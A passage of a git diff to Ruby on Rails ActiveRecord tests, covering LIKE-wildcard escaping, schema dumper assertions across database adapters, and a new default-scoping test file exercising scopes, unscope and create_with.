+ assert_equal 'normal string 42', Binary.send(:sanitize_sql_like, 'normal string 42', '!')
+ end
+
+ def test_sanitize_sql_like_example_use_case
+ searchable_post = Class.new(Post) do
+ def self.search(term)
+ where("title LIKE ?", sanitize_sql_like(term, '!'))
+ end
+ end
+
+ assert_sql(/LIKE '20!% !_reduction!_!!'/) do
+ searchable_post.search("20% _reduction_!").to_a
+ end
+ end
end
diff --git a/activerecord/test/cases/schema_dumper_test.rb b/activerecord/test/cases/schema_dumper_test.rb
index 7ff0044bd4..01c686f934 100644
--- a/activerecord/test/cases/schema_dumper_test.rb
+++ b/activerecord/test/cases/schema_dumper_test.rb
@@ -1,32 +1,36 @@
require "cases/helper"
-
+require 'support/schema_dumping_helper'
class SchemaDumperTest < ActiveRecord::TestCase
- def setup
- super
+ include SchemaDumpingHelper
+ self.use_transactional_fixtures = false
+
+ setup do
ActiveRecord::SchemaMigration.create_table
- @stream = StringIO.new
end
def standard_dump
- @stream = StringIO.new
- ActiveRecord::SchemaDumper.ignore_tables = []
- ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, @stream)
- @stream.string
+ @@standard_dump ||= perform_schema_dump
+ end
+
+ def perform_schema_dump
+ dump_all_table_schema []
end
def test_dump_schema_information_outputs_lexically_ordered_versions
versions = %w{ 20100101010101 20100201010101 20100301010101 }
- versions.reverse.each do |v|
+ versions.reverse_each do |v|
ActiveRecord::SchemaMigration.create!(:version => v)
end
schema_info = ActiveRecord::Base.connection.dump_schema_information
assert_match(/20100201010101.*20100301010101/m, schema_info)
+ ensure
+ ActiveRecord::SchemaMigration.delete_all
end
def test_magic_comment
- assert_match "# encoding: #{@stream.external_encoding.name}", standard_dump
+ assert_match "# encoding: #{Encoding.default_external.name}", standard_dump
end
def test_schema_dump
@@ -64,7 +68,7 @@ class SchemaDumperTest < ActiveRecord::TestCase
next if column_set.empty?
lengths = column_set.map do |column|
- if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean)\s+"/)
+ if match = column.match(/t\.(?:integer|decimal|float|datetime|timestamp|time|date|text|binary|string|boolean|uuid|point)\s+"/)
match[0].length
end
end
@@ -87,22 +91,18 @@ class SchemaDumperTest < ActiveRecord::TestCase
end
def test_schema_dump_includes_not_null_columns
- stream = StringIO.new
-
- ActiveRecord::SchemaDumper.ignore_tables = [/^[^r]/]
- ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
- output = stream.string
+ output = dump_all_table_schema([/^[^r]/])
assert_match %r{null: false}, output
end
def test_schema_dump_includes_limit_constraint_for_integer_columns
- stream = StringIO.new
+ output = dump_all_table_schema([/^(?!integer_limits)/])
- ActiveRecord::SchemaDumper.ignore_tables = [/^(?!integer_limits)/]
- ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
- output = stream.string
+ assert_match %r{c_int_without_limit}, output
if current_adapter?(:PostgreSQLAdapter)
+ assert_no_match %r{c_int_without_limit.*limit:}, output
+
assert_match %r{c_int_1.*limit: 2}, output
assert_match %r{c_int_2.*limit: 2}, output
@@ -112,7 +112,9 @@ class SchemaDumperTest < ActiveRecord::TestCase
assert_match %r{c_int_4.*}, output
assert_no_match %r{c_int_4.*limit:}, output
- elsif current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
+ elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ assert_match %r{c_int_without_limit.*limit: 4}, output
+
assert_match %r{c_int_1.*limit: 1}, output
assert_match %r{c_int_2.*limit: 2}, output
assert_match %r{c_int_3.*limit: 3}, output
@@ -120,13 +122,13 @@ class SchemaDumperTest < ActiveRecord::TestCase
assert_match %r{c_int_4.*}, output
assert_no_match %r{c_int_4.*:limit}, output
elsif current_adapter?(:SQLite3Adapter)
+ assert_no_match %r{c_int_without_limit.*limit:}, output
+
assert_match %r{c_int_1.*limit: 1}, output
assert_match %r{c_int_2.*limit: 2}, output
assert_match %r{c_int_3.*limit: 3}, output
assert_match %r{c_int_4.*limit: 4}, output
end
- assert_match %r{c_int_without_limit.*}, output
- assert_no_match %r{c_int_without_limit.*limit:}, output
if current_adapter?(:SQLite3Adapter)
assert_match %r{c_int_5.*limit: 5}, output
@@ -147,44 +149,36 @@ class SchemaDumperTest < ActiveRecord::TestCase
end
def test_schema_dump_with_string_ignored_table
- stream = StringIO.new
-
- ActiveRecord::SchemaDumper.ignore_tables = ['accounts']
- ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
- output = stream.string
+ output = dump_all_table_schema(['accounts'])
assert_no_match %r{create_table "accounts"}, output
assert_match %r{create_table "authors"}, output
assert_no_match %r{create_table "schema_migrations"}, output
end
def test_schema_dump_with_regexp_ignored_table
- stream = StringIO.new
-
- ActiveRecord::SchemaDumper.ignore_tables = [/^account/]
- ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
- output = stream.string
+ output = dump_all_table_schema([/^account/])
assert_no_match %r{create_table "accounts"}, output
assert_match %r{create_table "authors"}, output
assert_no_match %r{create_table "schema_migrations"}, output
end
- def test_schema_dump_illegal_ignored_table_value
- stream = StringIO.new
- ActiveRecord::SchemaDumper.ignore_tables = [5]
- assert_raise(StandardError) do
- ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
- end
- end
-
def test_schema_dumps_index_columns_in_right_order
index_definition = standard_dump.split(/\n/).grep(/add_index.*companies/).first.strip
- assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index"', index_definition
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter, :PostgreSQLAdapter)
+ assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index", using: :btree', index_definition
+ else
+ assert_equal 'add_index "companies", ["firm_id", "type", "rating"], name: "company_index"', index_definition
+ end
end
def test_schema_dumps_partial_indices
index_definition = standard_dump.split(/\n/).grep(/add_index.*company_partial_index/).first.strip
if current_adapter?(:PostgreSQLAdapter)
- assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)"', index_definition
+ assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "(rating > 10)", using: :btree', index_definition
+ elsif current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", using: :btree', index_definition
+ elsif current_adapter?(:SQLite3Adapter) && ActiveRecord::Base.connection.supports_partial_index?
+ assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index", where: "rating > 10"', index_definition
else
assert_equal 'add_index "companies", ["firm_id", "type"], name: "company_partial_index"', index_definition
end
@@ -197,10 +191,15 @@ class SchemaDumperTest < ActiveRecord::TestCase
assert_match %r(primary_key: "movieid"), match[1], "non-standard primary key not preserved"
end
- if current_adapter?(:MysqlAdapter) or current_adapter?(:Mysql2Adapter)
- def test_schema_dump_should_not_add_default_value_for_mysql_text_field
+ def test_schema_dump_should_use_false_as_default
+ output = standard_dump
+ assert_match %r{t\.boolean\s+"has_fun",.+default: false}, output
+ end
+
+ if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+ def test_schema_dump_should_add_default_value_for_mysql_text_field
output = standard_dump
- assert_match %r{t.text\s+"body",\s+null: false$}, output
+ assert_match %r{t.text\s+"body",\s+limit: 65535,\s+null: false$}, output
end
def test_schema_dump_includes_length_for_mysql_binary_fields
@@ -212,86 +211,46 @@ class SchemaDumperTest < ActiveRecord::TestCase
def test_schema_dump_includes_length_for_mysql_blob_and_text_fields
output = standard_dump
assert_match %r{t.binary\s+"tiny_blob",\s+limit: 255$}, output
- assert_match %r{t.binary\s+"normal_blob"$}, output
+ assert_match %r{t.binary\s+"normal_blob",\s+limit: 65535$}, output
assert_match %r{t.binary\s+"medium_blob",\s+limit: 16777215$}, output
- assert_match %r{t.binary\s+"long_blob",\s+limit: 2147483647$}, output
+ assert_match %r{t.binary\s+"long_blob",\s+limit: 4294967295$}, output
assert_match %r{t.text\s+"tiny_text",\s+limit: 255$}, output
- assert_match %r{t.text\s+"normal_text"$}, output
+ assert_match %r{t.text\s+"normal_text",\s+limit: 65535$}, output
assert_match %r{t.text\s+"medium_text",\s+limit: 16777215$}, output
- assert_match %r{t.text\s+"long_text",\s+limit: 2147483647$}, output
+ assert_match %r{t.text\s+"long_text",\s+limit: 4294967295$}, output
+ end
+
+ def test_schema_dumps_index_type
+ output = standard_dump
+ assert_match %r{add_index "key_tests", \["awesome"\], name: "index_key_tests_on_awesome", type: :fulltext}, output
+ assert_match %r{add_index "key_tests", \["pizza"\], name: "index_key_tests_on_pizza", using: :btree}, output
end
end
def test_schema_dump_includes_decimal_options
- stream = StringIO.new
- ActiveRecord::SchemaDumper.ignore_tables = [/^[^n]/]
- ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
- output = stream.string
+ output = dump_all_table_schema([/^[^n]/])
assert_match %r{precision: 3,[[:space:]]+scale: 2,[[:space:]]+default: 2.78}, output
end
if current_adapter?(:PostgreSQLAdapter)
- def test_schema_dump_includes_xml_shorthand_definition
- output = standard_dump
- if %r{create_table "postgresql_xml_data_type"} =~ output
- assert_match %r{t.xml "data"}, output
- end
- end
-
- def test_schema_dump_includes_json_shorthand_definition
- output = standard_dump
- if %r{create_table "postgresql_json_data_type"} =~ output
- assert_match %r|t.json "json_data", default: {}|, output
- end
- end
-
- def test_schema_dump_includes_inet_shorthand_definition
- output = standard_dump
- if %r{create_table "postgresql_network_address"} =~ output
- assert_match %r{t.inet "inet_address"}, output
- end
- end
-
- def test_schema_dump_includes_cidr_shorthand_definition
- output = standard_dump
- if %r{create_table "postgresql_network_address"} =~ output
- assert_match %r{t.cidr "cidr_address"}, output
- end
- end
-
- def test_schema_dump_includes_macaddr_shorthand_definition
+ def test_schema_dump_includes_bigint_default
output = standard_dump
- if %r{create_table "postgresql_network_address"} =~ output
- assert_match %r{t.macaddr "macaddr_address"}, output
- end
+ assert_match %r{t.integer\s+"bigint_default",\s+limit: 8,\s+default: 0}, output
end
- def test_schema_dump_includes_uuid_shorthand_definition
- output = standard_dump
- if %r{create_table "poistgresql_uuids"} =~ output
- assert_match %r{t.uuid "guid"}, output
- end
- end
-
- def test_schema_dump_includes_hstores_shorthand_definition
- output = standard_dump
- if %r{create_table "postgresql_hstores"} =~ output
- assert_match %r[t.hstore "hash_store", default: {}], output
- end
- end
+ if ActiveRecord::Base.connection.supports_extensions?
+ def test_schema_dump_includes_extensions
+ connection = ActiveRecord::Base.connection
- def test_schema_dump_includes_arrays_shorthand_definition
- output = standard_dump
- if %r{create_table "postgresql_arrays"} =~ output
- assert_match %r[t.text\s+"nicknames",\s+array: true], output
- assert_match %r[t.integer\s+"commission_by_quarter",\s+array: true], output
- end
- end
+ connection.stubs(:extensions).returns(['hstore'])
+ output = perform_schema_dump
+ assert_match "# These are extensions that must be enabled", output
+ assert_match %r{enable_extension "hstore"}, output
- def test_schema_dump_includes_tsvector_shorthand_definition
- output = standard_dump
- if %r{create_table "postgresql_tsvectors"} =~ output
- assert_match %r{t.tsvector "text_vector"}, output
+ connection.stubs(:extensions).returns([])
+ output = perform_schema_dump
+ assert_no_match "# These are extensions that must be enabled", output
+ assert_no_match %r{enable_extension}, output
end
end
end
@@ -300,9 +259,9 @@ class SchemaDumperTest < ActiveRecord::TestCase
output = standard_dump
# Oracle supports precision up to 38 and it identifies decimals with scale 0 as integers
if current_adapter?(:OracleAdapter)
- assert_match %r{t.integer\s+"atoms_in_universe",\s+precision: 38,\s+scale: 0}, output
+ assert_match %r{t.integer\s+"atoms_in_universe",\s+precision: 38}, output
else
- assert_match %r{t.decimal\s+"atoms_in_universe",\s+precision: 55,\s+scale: 0}, output
+ assert_match %r{t.decimal\s+"atoms_in_universe",\s+precision: 55}, output
end
end
@@ -311,7 +270,7 @@ class SchemaDumperTest < ActiveRecord::TestCase
match = output.match(%r{create_table "goofy_string_id"(.*)do.*\n(.*)\n})
assert_not_nil(match, "goofy_string_id table not found")
assert_match %r(id: false), match[1], "no table id not preserved"
- assert_match %r{t.string[[:space:]]+"id",[[:space:]]+null: false$}, match[2], "non-primary key id column not preserved"
+ assert_match %r{t.string\s+"id",.*?null: false$}, match[2], "non-primary key id column not preserved"
end
def test_schema_dump_keeps_id_false_when_id_is_false_and_unique_not_null_column_added
@@ -319,15 +278,33 @@ class SchemaDumperTest < ActiveRecord::TestCase
assert_match %r{create_table "subscribers", id: false}, output
end
+ if ActiveRecord::Base.connection.supports_foreign_keys?
+ def test_foreign_keys_are_dumped_at_the_bottom_to_circumvent_dependency_issues
+ output = standard_dump
+ assert_match(/^\s+add_foreign_key "fk_test_has_fk"[^\n]+\n\s+add_foreign_key "lessons_students"/, output)
+ end
+
+ def test_do_not_dump_foreign_keys_for_ignored_tables
+ output = dump_table_schema "authors"
+ assert_equal ["authors"], output.scan(/^\s*add_foreign_key "([^"]+)".+$/).flatten
+ end
+ end
+
class CreateDogMigration < ActiveRecord::Migration
def up
+ create_table("dog_owners") do |t|
+ end
+
create_table("dogs") do |t|
t.column :name, :string
+ t.column :owner_id, :integer
end
add_index "dogs", [:name]
+ add_foreign_key :dogs, :dog_owners, column: "owner_id" if supports_foreign_keys?
end
def down
drop_table("dogs")
+ drop_table("dog_owners")
end
end
@@ -339,15 +316,47 @@ class SchemaDumperTest < ActiveRecord::TestCase
migration = CreateDogMigration.new
migration.migrate(:up)
- output = standard_dump
+ output = perform_schema_dump
assert_no_match %r{create_table "foo_.+_bar"}, output
- assert_no_match %r{create_index "foo_.+_bar"}, output
+ assert_no_match %r{add_index "foo_.+_bar"}, output
assert_no_match %r{create_table "schema_migrations"}, output
+
+ if ActiveRecord::Base.connection.supports_foreign_keys?
+ assert_no_match %r{add_foreign_key "foo_.+_bar"}, output
+ assert_no_match %r{add_foreign_key "[^"]+", "foo_.+_bar"}, output
+ end
ensure
migration.migrate(:down)
ActiveRecord::Base.table_name_suffix = ActiveRecord::Base.table_name_prefix = ''
$stdout = original
end
+end
+class SchemaDumperDefaultsTest < ActiveRecord::TestCase
+ include SchemaDumpingHelper
+
+ setup do
+ @connection = ActiveRecord::Base.connection
+ @connection.create_table :defaults, force: true do |t|
+ t.string :string_with_default, default: "Hello!"
+ t.date :date_with_default, default: '2014-06-05'
+ t.datetime :datetime_with_default, default: "2014-06-05 07:17:04"
+ t.time :time_with_default, default: "07:17:04"
+ end
+ end
+
+ teardown do
+ return unless @connection
+ @connection.execute 'DROP TABLE defaults' if @connection.table_exists? 'defaults'
+ end
+
+ def test_schema_dump_defaults_with_universally_supported_types
+ output = dump_table_schema('defaults')
+
+ assert_match %r{t\.string\s+"string_with_default",.*?default: "Hello!"}, output
+ assert_match %r{t\.date\s+"date_with_default",\s+default: '2014-06-05'}, output
+ assert_match %r{t\.datetime\s+"datetime_with_default",\s+default: '2014-06-05 07:17:04'}, output
+ assert_match %r{t\.time\s+"time_with_default",\s+default: '2000-01-01 07:17:04'}, output
+ end
end
diff --git a/activerecord/test/cases/scoping/default_scoping_test.rb b/activerecord/test/cases/scoping/default_scoping_test.rb
new file mode 100644
index 0000000000..0738df1b54
--- /dev/null
+++ b/activerecord/test/cases/scoping/default_scoping_test.rb
@@ -0,0 +1,444 @@
+require 'cases/helper'
+require 'models/post'
+require 'models/comment'
+require 'models/developer'
+require 'models/computer'
+
+class DefaultScopingTest < ActiveRecord::TestCase
+ fixtures :developers, :posts, :comments
+
+ def test_default_scope
+ expected = Developer.all.merge!(:order => 'salary DESC').to_a.collect(&:salary)
+ received = DeveloperOrderedBySalary.all.collect(&:salary)
+ assert_equal expected, received
+ end
+
+ def test_default_scope_as_class_method
+ assert_equal [developers(:david).becomes(ClassMethodDeveloperCalledDavid)], ClassMethodDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_as_class_method_referencing_scope
+ assert_equal [developers(:david).becomes(ClassMethodReferencingScopeDeveloperCalledDavid)], ClassMethodReferencingScopeDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_as_block_referencing_scope
+ assert_equal [developers(:david).becomes(LazyBlockReferencingScopeDeveloperCalledDavid)], LazyBlockReferencingScopeDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_with_lambda
+ assert_equal [developers(:david).becomes(LazyLambdaDeveloperCalledDavid)], LazyLambdaDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_with_block
+ assert_equal [developers(:david).becomes(LazyBlockDeveloperCalledDavid)], LazyBlockDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_with_callable
+ assert_equal [developers(:david).becomes(CallableDeveloperCalledDavid)], CallableDeveloperCalledDavid.all
+ end
+
+ def test_default_scope_is_unscoped_on_find
+ assert_equal 1, DeveloperCalledDavid.count
+ assert_equal 11, DeveloperCalledDavid.unscoped.count
+ end
+
+ def test_default_scope_is_unscoped_on_create
+ assert_nil DeveloperCalledJamis.unscoped.create!.name
+ end
+
+ def test_default_scope_with_conditions_string
+ assert_equal Developer.where(name: 'David').map(&:id).sort, DeveloperCalledDavid.all.map(&:id).sort
+ assert_equal nil, DeveloperCalledDavid.create!.name
+ end
+
+ def test_default_scope_with_conditions_hash
+ assert_equal Developer.where(name: 'Jamis').map(&:id).sort, DeveloperCalledJamis.all.map(&:id).sort
+ assert_equal 'Jamis', DeveloperCalledJamis.create!.name
+ end
+
+ unless in_memory_db?
+ def test_default_scoping_with_threads
+ 2.times do
+ Thread.new {
+ assert DeveloperOrderedBySalary.all.to_sql.include?('salary DESC')
+ DeveloperOrderedBySalary.connection.close
+ }.join
+ end
+ end
+ end
+
+ def test_default_scope_with_inheritance
+ wheres = InheritedPoorDeveloperCalledJamis.all.where_values_hash
+ assert_equal "Jamis", wheres['name']
+ assert_equal 50000, wheres['salary']
+ end
+
+ def test_default_scope_with_module_includes
+ wheres = ModuleIncludedPoorDeveloperCalledJamis.all.where_values_hash
+ assert_equal "Jamis", wheres['name']
+ assert_equal 50000, wheres['salary']
+ end
+
+ def test_default_scope_with_multiple_calls
+ wheres = MultiplePoorDeveloperCalledJamis.all.where_values_hash
+ assert_equal "Jamis", wheres['name']
+ assert_equal 50000, wheres['salary']
+ end
+
+ def test_scope_overwrites_default
+ expected = Developer.all.merge!(order: 'salary DESC, name DESC').to_a.collect(&:name)
+ received = DeveloperOrderedBySalary.by_name.to_a.collect(&:name)
+ assert_equal expected, received
+ end
+
+ def test_reorder_overrides_default_scope_order
+ expected = Developer.order('name DESC').collect(&:name)
+ received = DeveloperOrderedBySalary.reorder('name DESC').collect(&:name)
+ assert_equal expected, received
+ end
+
+ def test_order_after_reorder_combines_orders
+ expected = Developer.order('name DESC, id DESC').collect { |dev| [dev.name, dev.id] }
+ received = Developer.order('name ASC').reorder('name DESC').order('id DESC').collect { |dev| [dev.name, dev.id] }
+ assert_equal expected, received
+ end
+
+ def test_unscope_overrides_default_scope
+ expected = Developer.all.collect { |dev| [dev.name, dev.id] }
+ received = DeveloperCalledJamis.unscope(:where).collect { |dev| [dev.name, dev.id] }
+ assert_equal expected, received
+ end
+
+ def test_unscope_after_reordering_and_combining
+ expected = Developer.order('id DESC, name DESC').collect { |dev| [dev.name, dev.id] }
+ received = DeveloperOrderedBySalary.reorder('name DESC').unscope(:order).order('id DESC, name DESC').collect { |dev| [dev.name, dev.id] }
+ assert_equal expected, received
+
+ expected_2 = Developer.all.collect { |dev| [dev.name, dev.id] }
+ received_2 = Developer.order('id DESC, name DESC').unscope(:order).collect { |dev| [dev.name, dev.id] }
+ assert_equal expected_2, received_2
+
+ expected_3 = Developer.all.collect { |dev| [dev.name, dev.id] }
+ received_3 = Developer.reorder('name DESC').unscope(:order).collect { |dev| [dev.name, dev.id] }
+ assert_equal expected_3, received_3
+ end
+
+ def test_unscope_with_where_attributes
+ expected = Developer.order('salary DESC').collect(&:name)
+ received = DeveloperOrderedBySalary.where(name: 'David').unscope(where: :name).collect(&:name)
+ assert_equal expected, received
+
+ expected_2 = Developer.order('salary DESC').collect(&:name)
+ received_2 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope({:where => :name}, :select).collect(&:name)
+ assert_equal expected_2, received_2
+
+ expected_3 = Developer.order('salary DESC').collect(&:name)
+ received_3 = DeveloperOrderedBySalary.select("id").where("name" => "Jamis").unscope(:select, :where).collect(&:name)
+ assert_equal expected_3, received_3
+
+ expected_4 = Developer.order('salary DESC').collect(&:name)
+ received_4 = DeveloperOrderedBySalary.where.not("name" => "Jamis").unscope(where: :name).collect(&:name)
+ assert_equal expected_4, received_4
+
+ expected_5 = Developer.order('salary DESC').collect(&:name)
+ received_5 = DeveloperOrderedBySalary.where.not("name" => ["Jamis", "David"]).unscope(where: :name).collect(&:name)
+ assert_equal expected_5, received_5
+
+ expected_6 = Developer.order('salary DESC').collect(&:name)
+ received_6 = DeveloperOrderedBySalary.where(Developer.arel_table['name'].eq('David')).unscope(where: :name).collect(&:name)
+ assert_equal expected_6, received_6
+
+ expected_7 = Developer.order('salary DESC').collect(&:name)
+ received_7 = DeveloperOrderedBySalary.where(Developer.arel_table[:name].eq('David')).unscope(where: :name).collect(&:name)
+ assert_equal expected_7, received_7
+ end
+
+ def test_unscope_multiple_where_clauses
+ expected = Developer.order('salary DESC').collect(&:name)
+ received = DeveloperOrderedBySalary.where(name: 'Jamis').where(id: 1).unscope(where: [:name, :id]).collect(&:name)
+ assert_equal expected, received
+ end
+
+ def test_unscope_string_where_clauses_involved
+ dev_relation = Developer.order('salary DESC').where("created_at > ?", 1.year.ago)
+ expected = dev_relation.collect(&:name)
+
+ dev_ordered_relation = DeveloperOrderedBySalary.where(name: 'Jamis').where("created_at > ?", 1.year.ago)
+ received = dev_ordered_relation.unscope(where: [:name]).collect(&:name)
+
+ assert_equal expected, received
+ end
+
+ def test_unscope_with_grouping_attributes
+ expected = Developer.order('salary DESC').collect(&:name)
+ received = DeveloperOrderedBySalary.group(:name).unscope(:group).collect(&:name)
+ assert_equal expected, received
+
+ expected_2 = Developer.order('salary DESC').collect(&:name)
+ received_2 = DeveloperOrderedBySalary.group("name").unscope(:group).collect(&:name)
+ assert_equal expected_2, received_2
+ end
+
+ def test_unscope_with_limit_in_query
+ expected = Developer.order('salary DESC').collect(&:name)
+ received = DeveloperOrderedBySalary.limit(1).unscope(:limit).collect(&:name)
+ assert_equal expected, received
+ end
+
+ def test_order_to_unscope_reordering
+ scope = DeveloperOrderedBySalary.order('salary DESC, name ASC').reverse_order.unscope(:order)
+ assert !(scope.to_sql =~ /order/i)
+ end
+
+ def test_unscope_reverse_order
+ expected = Developer.all.collect(&:name)
+ received = Developer.order('salary DESC').reverse_order.unscope(:order).collect(&:name)
+ assert_equal expected, received
+ end
+
+ def test_unscope_select
+ expected = Developer.order('salary ASC').collect(&:name)
+ received = Developer.order('salary DESC').reverse_order.select(:name).unscope(:select).collect(&:name)
+ assert_equal expected, received
+
+ expected_2 = Developer.all.collect(&:id)
+ received_2 = Developer.select(:name).unscope(:select).collect(&:id)
+ assert_equal expected_2, received_2
+ end
+
+ def test_unscope_offset
+ expected = Developer.all.collect(&:name)
+ received = Developer.offset(5).unscope(:offset).collect(&:name)
+ assert_equal expected, received
+ end
+
+ def test_unscope_joins_and_select_on_developers_projects
+ expected = Developer.all.collect(&:name)
+ received = Developer.joins('JOIN developers_projects ON id = developer_id').select(:id).unscope(:joins, :select).collect(&:name)
+ assert_equal expected, received
+ end
+
+ def test_unscope_includes
+ expected = Developer.all.collect(&:name)
+ received = Developer.includes(:projects).select(:id).unscope(:includes, :select).collect(&:name)
+ assert_equal expected, received
+ end
+
+ def test_unscope_having
+ expected = DeveloperOrderedBySalary.all.collect(&:name)
+ received = DeveloperOrderedBySalary.having("name IN ('Jamis', 'David')").unscope(:having).collect(&:name)
+ assert_equal expected, received
+ end
+
+ def test_unscope_and_scope
+ developer_klass = Class.new(Developer) do
+ scope :by_name, -> name { unscope(where: :name).where(name: name) }
+ end
+
+ expected = developer_klass.where(name: 'Jamis').collect { |dev| [dev.name, dev.id] }
+ received = developer_klass.where(name: 'David').by_name('Jamis').collect { |dev| [dev.name, dev.id] }
+ assert_equal expected, received
+ end
+
+ def test_unscope_errors_with_invalid_value
+ assert_raises(ArgumentError) do
+ Developer.includes(:projects).where(name: "Jamis").unscope(:stupidly_incorrect_value)
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.all.unscope(:includes, :select, :some_broken_value)
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.order('name DESC').reverse_order.unscope(:reverse_order)
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.order('name DESC').where(name: "Jamis").unscope()
+ end
+ end
+
+ def test_unscope_errors_with_non_where_hash_keys
+ assert_raises(ArgumentError) do
+ Developer.where(name: "Jamis").limit(4).unscope(limit: 4)
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.where(name: "Jamis").unscope("where" => :name)
+ end
+ end
+
+ def test_unscope_errors_with_non_symbol_or_hash_arguments
+ assert_raises(ArgumentError) do
+ Developer.where(name: "Jamis").limit(3).unscope("limit")
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.select("id").unscope("select")
+ end
+
+ assert_raises(ArgumentError) do
+ Developer.select("id").unscope(5)
+ end
+ end
+
+ def test_unscope_merging
+ merged = Developer.where(name: "Jamis").merge(Developer.unscope(:where))
+ assert merged.where_values.empty?
+ assert !merged.where(name: "Jon").where_values.empty?
+ end
+
+ def test_order_in_default_scope_should_not_prevail
+ expected = Developer.all.merge!(order: 'salary desc').to_a.collect(&:salary)
+ received = DeveloperOrderedBySalary.all.merge!(order: 'salary').to_a.collect(&:salary)
+ assert_equal expected, received
+ end
+
+ def test_create_attribute_overwrites_default_scoping
+ assert_equal 'David', PoorDeveloperCalledJamis.create!(:name => 'David').name
+ assert_equal 200000, PoorDeveloperCalledJamis.create!(:name => 'David', :salary => 200000).salary
+ end
+
+ def test_create_attribute_overwrites_default_values
+ assert_equal nil, PoorDeveloperCalledJamis.create!(:salary => nil).salary
+ assert_equal 50000, PoorDeveloperCalledJamis.create!(:name => 'David').salary
+ end
+
+ def test_default_scope_attribute
+ jamis = PoorDeveloperCalledJamis.new(:name => 'David')
+ assert_equal 50000, jamis.salary
+ end
+
+ def test_where_attribute
+ aaron = PoorDeveloperCalledJamis.where(:salary => 20).new(:name => 'Aaron')
+ assert_equal 20, aaron.salary
+ assert_equal 'Aaron', aaron.name
+ end
+
+ def test_where_attribute_merge
+ aaron = PoorDeveloperCalledJamis.where(:name => 'foo').new(:name => 'Aaron')
+ assert_equal 'Aaron', aaron.name
+ end
+
+ def test_scope_composed_by_limit_and_then_offset_is_equal_to_scope_composed_by_offset_and_then_limit
+ posts_limit_offset = Post.limit(3).offset(2)
+ posts_offset_limit = Post.offset(2).limit(3)
+ assert_equal posts_limit_offset, posts_offset_limit
+ end
+
+ def test_create_with_merge
+ aaron = PoorDeveloperCalledJamis.create_with(:name => 'foo', :salary => 20).merge(
+ PoorDeveloperCalledJamis.create_with(:name => 'Aaron')).new
+ assert_equal 20, aaron.salary
+ assert_equal 'Aaron', aaron.name
+
+ aaron = PoorDeveloperCalledJamis.create_with(:name => 'foo', :salary => 20).
+ create_with(:name => 'Aaron').new
+ assert_equal 20, aaron.salary
+ assert_equal 'Aaron', aaron.name
+ end
+
+ def test_create_with_reset
+ jamis = PoorDeveloperCalledJamis.create_with(:name => 'Aaron').create_with(nil).new
+ assert_equal 'Jamis', jamis.name
+ end
+
+ # FIXME: I don't know if this is *desired* behavior, but it is *today's*
+ # behavior.
+ def test_create_with_empty_hash_will_not_reset
+ jamis = PoorDeveloperCalledJamis.create_with(:name => 'Aaron').create_with({}).new
+ assert_equal 'Aaron', jamis.name
+ end
+
+ def test_unscoped_with_named_scope_should_not_have_default_scope
+ assert_equal [DeveloperCalledJamis.find(developers(:poor_jamis).id)], DeveloperCalledJamis.poor
+
+ assert DeveloperCalledJamis.unscoped.poor.include?(developers(:david).becomes(DeveloperCalledJamis))
+
+ assert_equal 11, DeveloperCalledJamis.unscoped.length
+ assert_equal 1, DeveloperCalledJamis.poor.length
+ assert_equal 10, DeveloperCalledJamis.unscoped.poor.length
+ assert_equal 10, DeveloperCalledJamis.unscoped { DeveloperCalledJamis.poor }.length
+ end
+
+ def test_default_scope_select_ignored_by_aggregations
+ assert_equal DeveloperWithSelect.all.to_a.count, DeveloperWithSelect.count
+ end
+
+ def test_default_scope_select_ignored_by_grouped_aggregations
+ assert_equal Hash[Developer.all.group_by(&:salary).map { |s, d| [s, d.count] }],
+ DeveloperWithSelect.group(:salary).count
+ end
+
+ def test_default_scope_order_ignored_by_aggregations
+ assert_equal DeveloperOrderedBySalary.all.count, DeveloperOrderedBySalary.count
+ end
+
+ def test_default_scope_find_last
+ assert DeveloperOrderedBySalary.count > 1, "need more than one row for test"
+
+ lowest_salary_dev = DeveloperOrderedBySalary.find(developers(:poor_jamis).id)
+ assert_equal lowest_salary_dev, DeveloperOrderedBySalary.last
+ end
+
+ def test_default_scope_include_with_count
+ d = DeveloperWithIncludes.create!
+ d.audit_logs.create! :message => 'foo'
+
+ assert_equal 1, DeveloperWithIncludes.where(:audit_logs => { :message => 'foo' }).count
+ end
+
+ def test_default_scope_with_references_works_through_collection_association
+ post = PostWithCommentWithDefaultScopeReferencesAssociation.create!(title: "Hello World", body: "Here we go.")
+ comment = post.comment_with_default_scope_references_associations.create!(body: "Great post.", developer_id: Developer.first.id)
+ assert_equal comment, post.comment_with_default_scope_references_associations.to_a.first
+ end
+
+ def test_default_scope_with_references_works_through_association
+ post = PostWithCommentWithDefaultScopeReferencesAssociation.create!(title: "Hello World", body: "Here we go.")
+ comment = post.comment_with_default_scope_references_associations.create!(body: "Great post.", developer_id: Developer.first.id)
+ assert_equal comment, post.first_comment
+ end
+
